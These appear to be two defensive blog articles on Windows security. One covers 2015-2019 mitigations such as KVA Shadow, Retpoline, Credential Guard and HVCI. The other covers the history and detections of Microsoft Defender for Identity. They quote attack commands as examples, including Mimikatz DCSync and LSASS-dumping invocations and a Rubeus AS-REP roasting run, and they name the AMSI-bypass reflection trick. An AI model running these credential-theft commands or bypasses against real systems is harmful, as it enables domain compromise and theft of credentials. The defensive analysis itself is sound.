On January 3, 2018, the security industry's calendar acquired a new entry. Jann Horn at Google Project Zero, Moritz Lipp and colleagues at Graz University of Technology, Paul Kocher independent, and a coordination of six other institutions disclosed that out-of-order execution on every Intel CPU shipped since the mid-1990s could be turned against the kernel-user privilege boundary [@pz-meltdown-spectre]. None of the Windows defenses shipped in the prior thirty months touched the attack class. None could. The attacker's primitive was the CPU.

The Google Project Zero blog post enumerates three variants. Variant 1, bounds check bypass, became CVE-2017-5753. Variant 2, branch target injection, became CVE-2017-5715. Variant 3, rogue data cache load, became CVE-2017-5754 and was named Meltdown [@pz-meltdown-spectre] [@ms-myerson-meltdown]. Variants 1 and 2 together became the family named Spectre. The peer-reviewed papers landed later: Meltdown at USENIX Security 2018 with Lipp as lead author and an authorship list including Schwarz, Gruss, Prescher, Haas, Fogh, Horn, Mangard, Kocher, Genkin, Yarom, and Hamburg [@lipp-meltdown-usenix]; Spectre at IEEE S&P 2019 with Kocher as lead author [@kocher-spectre-ieee].The Meltdown paper's authorship list does not include "Strackx" -- that name belongs to the later Foreshadow / L1TF paper. The audit on this article's research stage flagged the attribution error; the corrected roster is the one cited above [@lipp-meltdown-usenix].

Windows shipped three mitigations in response. KVA Shadow is Microsoft's name for what Linux calls Kernel Page-Table Isolation -- the technique descended from Gruss et al.'s 2017 KAISER paper. The mechanism is to maintain two page tables per process. The "user" page table maps only the user address space and a minimal kernel trampoline. The "kernel" page table maps the full kernel. Every user-mode-to-kernel-mode transition swaps the CR3 register to install the kernel page table; every return swaps it back. The kernel page-table entries that previously sat in the same virtual address space as the user, and that Meltdown exploited speculatively, are no longer mapped during user-mode execution.

sequenceDiagram participant U as User-mode process participant CPU as CPU participant K as Kernel U->>CPU: syscall instruction CPU->>CPU: swap CR3 to kernel page-table CPU->>K: dispatch kernel handler K->>K: execute handler logic K->>CPU: prepare return CPU->>CPU: swap CR3 to user shadow page-table CPU-->>U: return to user mode

Retpoline is the Spectre v2 mitigation. The technique, due to Paul Turner at Google in early 2018, replaces every indirect branch with a return-based thunk that the speculative-execution unit cannot mis-train into the attacker's chosen target. Microsoft backported Retpoline into Windows 10 1809 via the KB4482887 cumulative update on March 1, 2019, and enabled it by default via cloud configuration on May 14, 2019; the canonical write-up sits on the Windows Kernel team's TechCommunity blog (first posted December 6, 2018; updated through May 14, 2019) [@ms-retpoline]. The timing matters because Windows 10 1809 reached RTM on November 13, 2018: on supposedly-Retpoline-protected 1809 boxes there were roughly six months of unprotected Spectre v2 surface between the 1809 RTM and the May 14, 2019 cloud-enable.

IBRS, IBPB, and STIBP -- Indirect Branch Restricted Speculation, Indirect Branch Predictor Barrier, Single Thread Indirect Branch Predictor -- are the CPU-MSR-controlled mitigations delivered through Intel and AMD microcode updates that Windows manages via the kernel.

The performance cost was not uniform. Terry Myerson's January 9, 2018 Microsoft Security Blog post tiers it: Skylake-and-newer client CPUs saw "single-digit slowdowns"; Haswell-era and older systems saw "more significant slowdowns"; Server 2016 and SQL workloads saw "even more significant slowdowns" [@ms-myerson-meltdown]. The MariaDB community published one of the most-cited empirical anchors: on Haswell-era hardware doing MyISAM table scans, KPTI cost 37 to 40 percent in the worst case [@mariadb-kpti]. A 40 percent regression for a SQL workload is an unmistakable signal that the page-table swap dominates short-syscall-heavy code paths.

Note: Operators who use the FeatureSettingsOverride and FeatureSettingsOverrideMask registry knobs to disable KVA Shadow, Retpoline, or IBRS in pursuit of benchmark numbers are running an operationally unpatched Meltdown-vulnerable system. The performance numbers in benchmark blogs that "disable mitigations" are reporting the speed of a hardware configuration whose threat model is January 2018.

The lesson here is structural. VBS does not help against microarchitectural attacks because VBS protects against software primitives; the CPU itself is the attacker's primitive. The only point at which the microarchitectural axis touches VBS is Spectre v2 cross-VTL leakage during secure-call dispatch, and the answer there is to set IBRS on secure-call entry -- the same MSR-level control that protects any indirect branch in privileged code.

VBS, patch velocity, microarchitectural mitigations. Three axes of defense, each addressing a different attack primitive. Where does that leave the operator on December 31, 2019?

11. Operating Windows 10 in the 2017-2019 Threat Environment

A defender at the 2019 cutline who reads only the architecture papers will deploy VBS and feel safe. A defender who reads only the breach reports will assume nothing works. The truth is structurally bounded.

For enterprise administrators. Enable Credential Guard plus HVCI on Enterprise SKUs from 1607 forward [@ms-credential-guard] [@ms-hvci]. Deploy WDAC with audit-mode-first rollout, then enforce [@ms-wdac]. Patch within 30 days of MSRC release -- the WannaCry lesson is fifty-nine days. Disable SMBv1 outright. Inventory unused signed kernel drivers and remove them. Stand up Defender for Endpoint or an equivalent EDR. Treat segmentation between user subnets and server subnets as a deployable security control, not an architectural aspiration.

Note: Production WDAC policies routinely run to thousands of rules. The canonical mitigation for XML-authoring complexity is reference-monitor-mode rollouts: ship the policy in audit mode, collect 7 to 14 days of MicrosoftWindows-CodeIntegrity/Operational events from real users, refine the allow-list against the captured baseline, then move to enforce. Skipping audit mode reliably produces a Tuesday morning of broken business workflows [@ms-wdac].

For application developers. Compile with /guard:cf to opt into CFG instrumentation [@ms-cfg]. Set per-app Process Mitigation Policies via Set-ProcessMitigation [@ms-set-processmitigation], picking the subset (ACG, CIG, Strict Handle Checks, Disable Win32k System Calls) that fits your runtime. Sign your binaries with Authenticode using a hardware-backed key. If your application reads credentials, make sure they never touch LSASS; use the CredUI or Web Account Manager surface, which integrates with Credential Guard cleanly.

For security researchers. Read Ionescu's Black Hat USA 2015 deck plus the Weston-Ionescu OPCDE 2018 "Inside the Octagon" before claiming a "VBS bypass" [@ionescu-bh2015] [@opcde-inside-octagon]. Categorize any bypass you find into one of the six classes named in Section 8 -- BYOVD, hypervisor or secure-call bugs, hardware DMA, microarchitectural side channels, trustlet-signing-root compromise, or VTL0-agent surface. Cross-cite Microsoft Learn for any specification-level claim about VTL semantics. The Yosifovich, Ionescu, Russinovich, and Solomon Windows Internals 7th edition, Part 1 (May 2017) remains the canonical textbook anchor for the 1507-to-1607 era architecture [@mspress-windows-internals-7e].

For SOC analysts. EternalBlue and DoublePulsar signatures are still recurring in unmanaged-edge devices in 2024 and 2025 [@hunterstrategy-eternalblue]. Train detection rules on the SMB signal, not just the WannaCry payload signature.The DoublePulsar implant responds to a specific SMB Trans2 SESSION_SETUP subcommand with a non-zero Multiplex ID, which is the most-cited single-packet network signature for triage. The Emotet -> TrickBot -> Ryuk killchain pattern is the operational anchor for human-operated ransomware detection; the IOCs change every quarter, but the kill-chain stages do not. PrintNightmare, a 2021 Part-5 story, reuses the same SMB-style propagation pattern.

On a Windows 10 or 11 Enterprise host, run `msinfo32.exe`, find the "Virtualization-based security Services Running" row, and confirm it lists `Credential Guard`. From PowerShell, `Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard | Select SecurityServicesRunning` returns an array whose value `1` corresponds to Credential Guard and value `2` to HVCI. If the array is empty, VBS is configured but no isolated services have started, and the LSAISO trustlet is not actually protecting credentials on that machine.

By the end of 2019, the architectural floor is named. The operational floor is named. Three axes are not yet closed.

12. What 2015-2019 Did Not Solve

Five problems leave this window open. Each is a chapter of Part 5 or Part 6, and each is open because the architectural gap and the deployment gap are at different sizes.

Supply-chain integrity. NotPetya proved that build-pipeline compromise is the dominant remaining attack class against well-defended estates [@talos-medoc] [@eset-telebots]. Microsoft's Security Development Lifecycle codifies pre-release secure-engineering practice [@ms-sdl], but SDL stops at the binary the build pipeline emits; it does not certify that the binary any verifier can rebuild matches that binary.

The 2015-2019 window saw two structural answers begin to mature. Debian's reproducible-builds project, in continuous progress since 2013, reached approximately 94 percent reproducibility by mid-2017 [@lwn-debian-reproducible]; the Tor Project's deterministic-builds work in 2014 framed the watering-hole-attack defense the discipline existed to address [@tor-deterministic-builds]. The Linux Foundation's Sigstore project, announced March 9, 2021, finally shipped a free transparency-log signing infrastructure for software artifacts [@lf-sigstore], and the NIST SP 800-218 Secure Software Development Framework codified the practice into a federal expectation in February 2022 [@nist-ssdf]. SolarWinds in December 2020 -- the Part 5 chapter -- forced the industry to take this open problem seriously.

The architectural distinction is between code-signing-as-supply-chain-integrity (signs whatever the build pipeline emits, regardless of pipeline compromise) and reproducible-build-as-supply-chain-integrity (signs only binaries any verifier can independently reproduce from source). At the 2019 cutline, reproducible builds are not the deployment norm; by the mid-2020s they are still not the norm for proprietary Windows-side software.

The hypervisor and secure-call interface. Amar and King's 2020 work on SkmmUnmapMdl and SkmiReleaseUnknownPTEs disclosed two kernel-strong VTL1 bugs reachable from VTL0 -- CVE-2020-0917 and CVE-2020-0918 -- and set the public-disclosure baseline at roughly one to three secure-call interface bugs per year [@amar-king-bh2020] [@msrc-cve-2020-0917].

Microsoft's response posture is enforcement, not formal verification. The Hyper-V Bounty program pays up to $250,000 for a guest-to-host escape, with corresponding lower tiers for partial escapes and architectural vulnerabilities [@ms-hyperv-bounty]. The Microsoft Security Servicing Criteria treats secure-kernel and HVCI bypasses as Servicing Tier 1, meaning they are silently serviced through the normal patch cadence rather than coordinated as headline incidents [@ms-servicing-criteria]. The Saar-Amar-style Hyperseed fuzzer remains the internal-tooling baseline.

The open question is whether a formally-verified secure-call interface is achievable for Microsoft's deployed codebase. seL4 establishes that verification is feasible at roughly nine thousand lines of C [@klein-sel4-sosp2009]; securekernel.exe is approximately 150 kilobytes with substantial integration surface. The 2019 answer is "not yet." The cadence of CVEs since suggests the answer through 2024 remains "not yet."

The BYOVD pipeline. Microsoft's October 2022 default-on Vulnerable Driver Blocklist (KB5020779) blocks known-bad signed drivers reactively, by hash [@ms-vuln-driver-kb] [@ms-vuln-driver-blockrules]. The blocklist is fed by Microsoft's IHV-partnership submission flow, and Windows Defender Application Control consumes the same policy at the system level. The LOLDrivers community catalog tracks several hundred vulnerable signed drivers as of 2024 [@loldrivers], far more than the curated subset KB5020779 covers.

The structural distinction is between known-bad drivers blocked by hash -- the current approach -- and retroactive driver-signing revocation, which would block by certificate. Hash-based blocking handles the dominant in-the-wild surface; certificate-based revocation breaks legitimate deployments that rely on older signed drivers with Authenticode timestamps that pre-date the revocation. Microsoft has not solved that tradeoff at the 2019 cutline. KB5020779 (October 2022) is the partial answer. Full retroactive revocation remains open.

Microarchitectural side channels in cross-VTL boundaries. Spectre v2 leakage across the VTL0 to VTL1 boundary invalidates Credential Guard's confidentiality invariant if VTL0 can poison the indirect branch predictor that VTL1 consumes during a secure-call handler return; IBRS on secure-call entry is the standing mitigation, but every new microarchitectural class re-prices the defense.

LVI (Load Value Injection, CVE-2020-0551, March 2020), RIDL and ZombieLoad (May 2019, microarchitectural data sampling), and Inception (USENIX Security 2023, AMD-SB-7005 against Zen 3 and Zen 4 [@usenix-inception] [@amd-sb-7005]) each open a new variant. The structural answer the industry is moving toward is microarchitecturally-partitioned CPUs: Intel TDX [@intel-tdx] and AMD SEV-SNP [@amd-sev-snp] both ship hardware-isolated virtual machines with per-VM memory encryption that close the cross-VTL leakage class by construction. Both are datacenter-only at the 2019 cutline; neither lands on mainstream Windows endpoints until well after the article's window. The 2019 operational state is IBRS-plus-microcode mitigation, re-priced each time a new variant lands.

Big Game Hunting defense when backups stop being a deterrent. Maze's double-extortion playbook neutralized the backup-equipped defender's bargaining position [@krebs-maze]. Three research directions are open.

Cryptographic data-at-rest segmentation -- file-level encryption keyed to per-team hardware security modules, so a single compromised account cannot exfiltrate the full data corpus -- is the most direct technical answer. Segmented backup storage, in which the backup network is operationally isolated from the production network and authenticates only out-of-band, is the operational pattern that the segmented-tier-zero Active Directory work in this window points toward. Zero-knowledge backup storage, in which the storage provider holds only customer-encrypted blobs and cannot itself be compelled into the leak chain, is the architectural backstop.

Cyber-insurance market design is the fourth axis: after the Mondelez-versus-Zurich act-of-war dispute, the insurance industry restructured but did not solve the moral-hazard problem of ransom-coverage as a payment channel. Maze itself ceased operations in October 2020. The playbook persisted under Conti, LockBit, and successor groups through 2024.

Part 5 picks up at December 2020 with SolarWinds. Part 6 closes with the CrowdStrike Falcon outage and the post-Pluton trust topology. The next five years will not be quieter.

13. Frequently Asked Questions

Mimikatz still works, but the attack family Credential Guard was engineered against returns empty. The LSASS-scrape modules -- `sekurlsa::logonpasswords`, `sekurlsa::tickets`, `lsadump::secrets` -- read the bytes Credential Guard relocates into LSAISO in VTL1 [@ms-credential-guard], so the data is no longer where Mimikatz scans. What still works against a CG-enabled host is anything outside that threat model: pass-the-ticket replay of a TGT captured before CG was enabled, sign-in-time keylogging, stolen-DC krbtgt forgery, or BYOVD-grade kernel primitives that take advantage of secure-kernel bugs. Yes. Six classes, all enumerated in Section 8 -- BYOVD with a vulnerable signed driver, hypervisor or secure-kernel vulnerabilities such as the 2020 Amar-King work on `SkmmUnmapMdl` [@amar-king-bh2020], pre-IOMMU hardware DMA, microarchitectural side channels, trustlet-signing-root compromise, and bugs in the VTL0 agents that broker requests to VTL1. None of those undermines the architectural claim that classical kernel-mode code injection is closed by HVCI's enforcement of write-XOR-execute on VTL0 kernel pages [@ms-hvci]. The bypass classes shape deployment posture; they do not invalidate the model. Yes, in PowerShell user space. The Matt Graeber reflection trick that sets `AmsiUtils.amsiInitFailed` to true short-circuits AMSI within the running PowerShell process. MDSec's June 2018 write-up walks the family [@mdsec-amsi-bypass]. AMSI is a hook, not a sandbox; the bypass surface is part of the design tradeoff. The defender's response is the Defender behavioral pipeline and cloud telemetry, plus Constrained Language Mode and PowerShell logging that capture the bypass attempt itself as a high-confidence signal. Both are 2016+ Server features that build on the VBS substrate, but they were not the primary endpoint-security story in 2015-2019. The vTPM trustlet (Trustlet ID 2 in Ionescu's enumeration [@ionescu-bh2015]) supports Hyper-V Shielded VMs in the Server 2016 timeframe; that is a datacenter, not an endpoint, story. The Part 4 endpoint thesis is Credential Guard, HVCI, WDAC, AMSI, CFG, and Process Mitigation Policies. No. WannaCry used EternalBlue, an NSA-developed exploit that the Shadow Brokers leaked in their April 14, 2017 "Lost in Translation" dump [@wiki-eternalblue]. The operators of WannaCry were the Lazarus Group, attributed to North Korea by the United States, the United Kingdom, Australia, Canada, New Zealand, and Japan in a coordinated December 19, 2017 statement [@wh-wannacry]. The architectural lesson -- that a leaked nation-state SMB worm hit unpatched estates fifty-nine days after Microsoft shipped MS17-010 [@ms-ms17-010] -- is independent of who fired the weapon. No. Kaspersky and CrowdStrike independently confirmed that the Salsa20 key derivation in NotPetya made decryption impossible by design [@kaspersky-petya]. The ransom payment screen was a decoy; the malware was a wiper. US, UK, Canadian, and Australian governments attributed the operation to Russian military intelligence (GRU Sandworm / Unit 74455) on February 15, 2018 [@wh-notpetya] [@ncsc-russia-notpetya]. The October 19, 2020 US Department of Justice indictment named six GRU officers [@doj-gru-notpetya]. Control Flow Guard is forward-edge, software-only, compiler-instrumented Control-Flow Integrity per the Burow et al. ACM CSUR 2017 taxonomy [@burow-cfi-csur2017] [@ms-cfg]. It validates the targets of indirect calls and jumps against a compile-time-known bitmap. Intel Control-flow Enforcement Technology adds a hardware-enforced shadow stack -- a backward-edge defense that protects return addresses. CET on Windows is a Part 5 story; here it suffices to say that CFG and CET defend orthogonal edges of the control-flow graph.

14. Three Boxes, Three Outcomes

A 2017 red-team operator can dump LSASS on an unprotected Windows 7 box in less than a minute. The same operator, against a 1607 Enterprise laptop with Credential Guard enabled, sees an empty buffer where the NTLM hash should be. A 2017 NHS workstation, fifty-nine days behind on MS17-010, sees a ransom note. Three Windows boxes. Three outcomes. One five-year window.

The structural defense -- VBS, the Secure Kernel, LSAISO -- did exactly what its designers said it would do, in a way that was independently verifiable from the empty Mimikatz output buffer. The operational defense -- patch within a month, segment SMBv1, disable legacy protocols -- did exactly what its proponents said it would do, on the boxes where it was applied. The paradox of simultaneity is just the shape of the same picture seen from both sides.

Part 5 takes the story forward into supply-chain compromise, hardware-rooted attestation, and the Intel CET shadow stack. The next five years did not solve the six bypass classes named here. They named more of them.

Microsoft Defender for Identity: The Defensive AD Stack That Sees What BloodHound Maps

noreply@paragmali.com (Parag Mali) — Wed, 27 May 2026 00:00:00 GMT

**Microsoft Defender for Identity (MDI) is the cloud-backed, on-DC defensive sensor that watches for almost every offensive Active Directory primitive in the SpecterOps / Mimikatz / Certipy corpus** -- DCSync, DCShadow, Golden / Silver / Diamond ticket forgery, Kerberoasting, AS-REP roasting, NTLM relay, and AD CS abuse -- by parsing Kerberos, NTLM, LDAP, and DRSUAPI on the wire and running per-principal behavioural baselines in a multi-tenant cloud backend. The product began as the Israeli startup Aorato (acquired by Microsoft in November 2014), shipped on-prem as Microsoft ATA in 2015, moved to the cloud as Azure ATP in 2018, was renamed to MDI in 2020, folded into Microsoft Defender XDR at Ignite 2023, and reached its current MDE-integrated v3.x sensor in October 2025. The alert catalogue maps cleanly onto MITRE ATT&CK, and the residual blind spots are knowable: the Credential Guard wall, the Sapphire Ticket's cryptographic indistinguishability, the encrypted-channel DCSync class, the cross-forest under-instrumentation tail, and legitimate-principal compromise. The operator question in 2026 is not whether MDI detects the attack, but whether the sensor is deployed, the alert was triaged inside the batched-emission window, and the residuals are covered by KQL, Sigma rules, or out-of-band controls.

1. A Friday Afternoon at the Domain Controller

Friday, 14:33. A red-team contractor in conference room C runs Rubeus.exe asreproast on a corporate laptop she was issued an hour ago. A junior auditor on the fourth floor, working from a desk with read-only Active Directory access, runs bloodhound-python -c All for a routine quarterly review. A quiet service account on the SQL host in rack 14 runs mimikatz "lsadump::dcsync /domain:contoso.com /user:Administrator". The operator at the other end of that session is not on the payroll. Three different workstations. Three different intents. One domain controller on the receiving end of all three.

The Security Operations Center has not noticed any of them yet. The watcher on the domain controller, however, has. By 14:35 three named alerts are sitting in the Defender XDR queue, each tagged with a MITRE ATT&CK technique ID, each waiting for someone to triage. Suspected AS-REP Roasting attack (T1558.004) for the Rubeus invocation [@mslearn-mdi-alerts-xdr]. Security principal reconnaissance (LDAP) for the BloodHound enumeration [@mslearn-mdi-alerts-mdi-classic]. Suspected DCSync attack -- replication of directory services, External ID 2006, T1003.006, for the Mimikatz call [@mslearn-mdi-alerts-mdi-classic][@mitre-t1003-006]. The watcher is Microsoft Defender for Identity.SOC operators inside Microsoft customers describe this with a stock phrase: "the watcher was already on the DC." The phrase shows up in incident-response runbooks, vendor training decks, and the Microsoft Defender for Identity Tech Community archive. It captures what is, architecturally, a strange thing -- the defender's sensor is co-located with the attacker's target, not perched outside it.

A Windows Server hosting the Active Directory Domain Services role, responsible for processing Kerberos authentication, NTLM challenges, LDAP queries, and inter-DC directory replication (DRSUAPI) for a domain. Every named MDI runtime alert in this article fires on signal that originates on or transits a domain controller; the deployment model assumes one MDI sensor per DC, plus optional sensors on AD FS, AD CS, and Microsoft Entra Connect servers when those identity roles run on dedicated hosts.

Almost every offensive AD primitive a reader of the SpecterOps, Mimikatz, and Certipy corpus already knows has a runtime alert or a posture assessment shipped by Microsoft on that same DC. Almost is the load-bearing word. The alert fires only if three things are true: the sensor is deployed on the surface the attack touches, the audit subcategory the alert depends on is enabled, and the SOC opens the Defender XDR incident inside the batched-emission window the cloud backend uses to aggregate signal. This article is about all three conditions, the twelve-year arc that built the watcher, and the structural blind spots no future MDI release will close.

The watcher was not always on the domain controller. For the first decade of Active Directory, nothing on the DC saw what BloodHound today maps. To understand where the watcher came from -- and why its blind spots look the way they do -- we have to start with three founders in Herzliya and a Kerberos forgery presentation in Las Vegas.

2. Origins -- Aorato, the Israeli Startup That Became the Watcher

August 2014, Black Hat USA. Tal Be'ery and Michael Cherny take the stage with Alva Duckwall and Benjamin Delpy to present "Abusing Microsoft Kerberos: Sorry You Guys Don't Get It," a demonstration that a stolen krbtgt key lets an attacker mint Kerberos ticket-granting tickets that survive every password rotation in the standard remediation playbook [@blackhat-us14-briefings]. The audience is Active Directory operators who thought their password-reset runbook covered them. By the end of the talk it does not. The startup behind the research is Aorato, three years old, headquartered in Herzliya, Israel. Three months later, Microsoft buys it.

The credential a Kerberos client receives from the Key Distribution Center (the KDC, which on a Windows network runs on every DC) after successful pre-authentication. The TGT is encrypted with the KDC's own long-term key -- on Active Directory, the password hash of the `krbtgt` account. Possession of the `krbtgt` hash therefore lets an attacker forge a valid TGT for any principal in the domain, since the KDC has no other way to distinguish a forged ticket from a real one. This forged-ticket class is what MITRE catalogues as T1558.001 Golden Ticket [@mitre-t1558-001].

The Aorato deal closed on November 13, 2014, announced on the Microsoft Official Blog by Takeshi Numoto, then Corporate Vice President of Cloud and Enterprise Marketing [@msblog-aorato]. The post named the central technology Microsoft was acquiring: Aorato's Organizational Security Graph, described as "a living, continuously-updated view of all of the people and machines accessing an organization's Windows Server Active Directory." Pre-acquisition Microsoft had Azure AD on the cloud side and per-DC event log auditing on the on-prem side, but no first-party behavioural-analytics product over Active Directory. Aorato's pre-acquisition product, the Directory Services Application Firewall, did exactly that -- it parsed Kerberos, NTLM, LDAP, and DRSUAPI on the wire and ran per-principal behavioural baselines against the parsed protocol stream. Microsoft wanted that capability inside Windows Server, and inside Office 365.Aorato's three founders, per the Globes coverage of the acquisition in November 2014, were Idan Plotnik (CEO), Michael Dolinsky (VP R&D), and Ohad Plotnik (VP professional services). Tal Be'ery was VP of Research. A popular reading of the deal names "the Plotnik brothers and Tal Be'ery" as the co-founder trio, which compresses out Dolinsky's role -- the contemporaneous record names four people, not three [@globes-aorato-2014].

The product lineage that follows is twelve years long and runs through five names. Microsoft Advanced Threat Analytics (ATA) was announced as generally available on August 27, 2015 (build 1.4.2457, dated August 31, 2015) -- the on-prem productisation of Aorato's wire-side parser, packaged as a SPAN-mirror appliance ("ATA Gateway") plus an on-prem analytics server ("ATA Center") with its own MongoDB-style document store [@mstc-ata-ga][@atadocs-versions]. Azure ATP went GA on March 1, 2018 -- the cloud-side rewrite that kept the on-DC sensor but moved the analytics engine to a multi-tenant cloud backend [@mstc-azureatp-ga][@mstc-azureatp-intro]. Microsoft Defender for Identity was the September 22, 2020 rename announced at Ignite 2020, part of Microsoft's broader brand consolidation that also rebranded Office 365 ATP to Microsoft Defender for Office 365 and Microsoft Defender ATP to Microsoft Defender for Endpoint [@mssecblog-unified-xdr][@itpro-defender-rebrand][@infusedinnov-names]. The November 2023 Ignite keynote consolidated Microsoft 365 Defender into Microsoft Defender XDR [@virtreview-ignite2023][@handsontek-defender-rebrand]. In October 2025 the v3.x sensor GA folded MDI's on-DC sensor into the Microsoft Defender for Endpoint agent that organisations were already running on every server [@mslearn-mdi-whats-new][@modernsec-v3x][@jeffreyappel-v2v3]. The May 2026 release notes extended the v3.x sensor to cover AD FS, AD CS, and Microsoft Entra Connect identity roles directly when those roles run on a domain controller, and raised the per-workspace sensor cap from 350 to 1,000 [@mslearn-mdi-whats-new].

gantt title Microsoft Defender for Identity lineage, 2012-2026 dateFormat YYYY-MM-DD axisFormat %Y section Aorato Aorato startup (DSAF product) :a1, 2012-01-01, 2014-11-13 section Microsoft ATA ATA initial release SPAN-mirror Gateway :a2, 2015-08-27, 2016-05-01 ATA 1.6-1.9 Lightweight Gateway :a3, 2016-05-01, 2018-03-01 ATA Extended Support window :a4, 2018-03-01, 2026-01-31 section Cloud rewrite Azure ATP GA :a5, 2018-03-01, 2020-09-22 Microsoft Defender for Identity name :a6, 2020-09-22, 2023-11-15 section Defender XDR era MDI inside Defender XDR (v2.x) :a7, 2023-11-15, 2025-10-01 MDI v3.x MDE-integrated sensor :a8, 2025-10-01, 2026-05-27

Aorato's pitch in 2014 was that the Windows Security event log -- the thing every SIEM in the world was ingesting -- could not see the attacks an Active Directory operator most needed to catch. To believe that pitch you have to know exactly what the event log misses.

3. Why the Event Log Could Not See Golden Tickets

Present a Golden Ticket to a domain controller, and the LSA writes a successful event 4769 -- a Kerberos service ticket request. Present a legitimate ticket from the same principal, and the LSA writes a successful event 4769. Nothing in the event log's schema, anywhere in any field, distinguishes the two. The ticket is forged with the real krbtgt key, so the KDC's signature checks pass. The event log records that an authentication happened, not whether the ticket presented was genuine. This is the structural ceiling the SIEM industry could not work around for the first decade of its existence, and it is the gap Aorato was built to close [@mitre-t1558-001][@semperis-golden-ticket].

The bare-event-log model has three structural failure modes, each of which drove a generation of detection engineering. Forged-ticket invisibility is the first: the LSA logs that an auth happened, but every byte in the 4769 event matches the legitimate case. Per-DC silo is the second: a Kerberos auth against one DC and a follow-up auth against another DC five seconds later sit in two different Security.evtx files, on two different machines, with no aggregation layer to ask "did the same principal hit ten DCs in five minutes?" Manual-review throughput collapse is the third: a medium-sized forest emits thousands of 4624, 4768, 4769 events per minute per DC, and the human analyst hand-walking them never catches up.

DCSync makes the first two failure modes vivid. Sean Metcalf's September 2015 ADSecurity writeup walks through running lsadump::dcsync /domain:contoso.com /user:Administrator from a workstation: the DC handles the DRSUAPI replication request, the LSA emits a 4662 event for the directory-service-object access, and the attacker walks away with the password hash [@adsec-dcsync].Metcalf's companion DerbyCon V talk, Red vs. Blue: Modern Active Directory Attacks & Defense (September 2015), is the canonical operator-grade introduction to the same material [@adsec-dump-ad]. The 4662 event is structurally indistinguishable from a legitimate replication request between two DCs. A SIEM rule that flagged 4662 events whose source IP was not a DC could catch it -- but only if the analyst maintained the IP allowlist (a single Microsoft Entra Connect server in the wrong subnet broke the rule), and only if 4662 was enabled at all (it was high-volume, and many SOCs disabled it to stay under the SIEM's GB/day licence).

Key idea: The SIEM was not failing at Active Directory detection because the rules were wrong. It was failing because the event log -- the data source every SIEM relied on -- could not see what the SIEM needed it to see. Better rules over the same event log would not have closed the gap. Aorato's contribution was to find a different data source: the wire itself.

Aorato's three primitives, none of which the SIEM-plus-event-log model had, were: per-principal behavioural baselines so that a long-tail anomaly stood out without anybody writing a rule for it; on-DC network capture so that the ticket structure, the DRSUAPI opnum, and the LDAP search filter were available to detection logic; and a graph over the directory so that the path from compromised workstation to crown-jewel asset could be computed rather than inferred. ATA shipped the first two in 2015. The graph took longer.

4. Early Approaches -- ATA 1.x and the Generations That Tried Before

By the time Aorato shipped its first product, four prior generations of Active Directory detection had already tried and stalled. Each one could see something the previous generation could not. Each one had a structural ceiling an attacker primitive eventually pushed through. The seven generations that follow are the real spine of the article.

flowchart LR G1["Gen 1: bare per-DC
event log audit"] --> G2["Gen 2: SIEM-centralised
events with static rules"] G2 --> G3["Gen 3: first-generation UEBA
over SIEM events"] G3 --> G4["Gen 4: Aorato DSAF and
ATA 1.4-1.5 (SPAN mirror)"] G4 --> G5["Gen 5: ATA 1.6-1.9
(Lightweight Gateway + LMP)"] G5 --> G6["Gen 6: Azure ATP, MDI v1.x-v2.x
(cloud analytics)"] G6 --> G7["Gen 7: MDI v3.x
(MDE-integrated + Identity Explorer)"]

Generation 1 -- bare per-DC event log auditing (1999-2008) was already covered above. It was the only model that existed for the first decade of Active Directory, and its structural ceilings became Aorato's pitch deck.

Generation 2 -- SIEM-centralised event log ingestion with static correlation rules (2005-2014) is the era of ArcSight, Splunk, QRadar, and LogRhythm. Windows Event Forwarder agents on every DC streamed Security event log entries into a central index, and SOC operators wrote rule-based correlation searches in the vendor's query language. The model gave the SOC cross-DC correlation, a query language, and an audit trail that satisfied PCI-DSS Requirement 10. It did not give the SOC anything new about the data the LSA emitted. Mimikatz's lsadump::dcsync was committed to the public Mimikatz repository in March 2015 [@mimikatz-github][@adsec-dcsync]. Sean Metcalf's longer ADSecurity writeup of the technique followed in September 2015. At commit time, every SIEM in production was correlating DC event logs and not one was emitting a DCSync alert, because the 4662 event was structurally identical to a legitimate DC-to-DC replication.

Generation 3 -- first-generation UEBA on SIEM event data (2013-2017) was Securonix, Exabeam, and Splunk UBA. Per-principal behavioural baselines layered on top of the SIEM event index could catch novel TTPs without prior signatures -- a Kerberoasting variant whose SPN list had never been seen before could still trip "this account is requesting an unusual number of service tickets compared to its baseline." UEBA also closed Generation 2's per-principal context gap. It did not, however, see ticket structure: a Golden Ticket replayed against ten DCs produces ten successful auths that are behaviourally indistinguishable from the legitimate Domain Admin's pattern unless the attacker's source IP or geographic distribution breaks the baseline. This is the legitimate-principal-compromise non-detection class that survives every defensive generation into 2026.

Generation 4 -- on-wire protocol analytics via off-DC SPAN-mirror Gateway is where Aorato's product, and then Microsoft ATA 1.4 and 1.5, lived. A switch SPAN port mirrored DC traffic to a dedicated ATA Gateway appliance, which ran libpcap-equivalent capture and parsed Kerberos AS-REQ / TGS-REQ / AP-REQ, NTLM challenges, LDAP searches, and DRSUAPI replication calls. Parsed events streamed to the on-prem ATA Center, which ran detection logic and surfaced alerts in a web console [@mstc-ata-ga]. The wire-side parse closed Generation 1-3's biggest blind spot: ticket structure was finally visible. The SPAN-port operational tax killed the architecture in nine months. Many enterprises could not provision a SPAN mirror. Virtualised DCs on shared hypervisors had no equivalent of a physical SPAN. And the security review of "all DC traffic now mirrors to this appliance" was non-trivial.

Generation 5 -- ATA 1.6 Lightweight Gateway through ATA 1.9 (May 2016 to March 2020) moved the Gateway in-process onto the DC itself. ATA 1.6 (May 2016) introduced the Lightweight Gateway with dynamic resource management that capped the sensor's CPU and memory footprint and let the sensor consume events locally rather than via mirrored network traffic [@mslearn-ata-1-6]. ATA 1.7 (August 31, 2016) added Role-Based Access Control for the ATA Console, Windows Server Core support, and detection of reconnaissance through directory-services enumeration [@mssupport-ata-1-7][@atadocs-versions]. ATA 1.8 (June 30, 2017; announced July 26, 2017) shipped behavioural-brute-force detection, a Golden Ticket lifetime detector, and the abnormal-modification-of-sensitive-groups alert [@mslearn-ata-1-8][@mstc-ata-1-8][@ataversions-1-8-availability]. ATA 1.9 (March 21, 2018) shipped both the entity-profile lateral-movement-aware view and the Lateral movement paths to sensitive accounts report [@mslearn-ata-1-9][@atadocs-versions][@atadocs-lmp-usecase].A widespread reading of the ATA timeline anchors LMP to ATA 1.7 in late 2017. The primary record contradicts this on both date and feature: ATA 1.7 shipped on August 31, 2016 per the Microsoft Support KB and the ATA-versions table, and the 1.7 release notes do not mention Lateral Movement Paths. Neither do the 1.8 release notes -- LMP first appears in ATA 1.9 